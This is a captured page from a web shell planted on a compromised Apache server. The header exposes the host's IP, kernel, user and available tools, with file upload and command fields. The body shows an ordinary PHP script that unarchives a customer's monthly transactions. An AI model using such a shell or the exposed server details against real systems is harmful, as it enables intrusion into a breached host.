403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wcfs/tabs/Backups/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wcfs/tabs/Backups/unarchive_month.php.NAO
<?php
include 'db.php';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $customer_id = intval($_POST['customer_id']);
    $month = $_POST['month'];

    if (!$customer_id || !$month) {
        die("Missing data.");
    }

    // Select archived transactions for the given month
    $stmt = $conn->prepare("
        SELECT item_name, quantity, price, taxable, original_date
        FROM archived_transactions
        WHERE customer_id = ? AND DATE_FORMAT(archived_on, '%Y-%m') = ?
    ");
    $stmt->bind_param("is", $customer_id, $month);
    $stmt->execute();
    $result = $stmt->get_result();

    $transactions = [];
    while ($row = $result->fetch_assoc()) {
        $transactions[] = $row;
    }

    // Insert each back into the active transactions table
    $insert = $conn->prepare("
        INSERT INTO transactions (customer_id, item_name, quantity, price, taxable, date)
        VALUES (?, ?, ?, ?, ?, ?)
    ");

    foreach ($transactions as $t) {
        $insert->bind_param(
            "isidis",
            $customer_id,
            $t['item_name'],
            $t['quantity'],
            $t['price'],
            $t['taxable'],
            $t['original_date']
        );
        $insert->execute();
    }

    // Delete the archived transactions
    $delete = $conn->prepare("
        DELETE FROM archived_transactions
        WHERE customer_id = ? AND DATE_FORMAT(archived_on, '%Y-%m') = ?
    ");
    $delete->bind_param("is", $customer_id, $month);
    $delete->execute();

    // Redirect
    header("Location: view_account.php?customer_id=$customer_id");
    exit;
} else {
    echo "Invalid request.";
}

Youez - 2016 - github.com/yon3zu
LinuXploit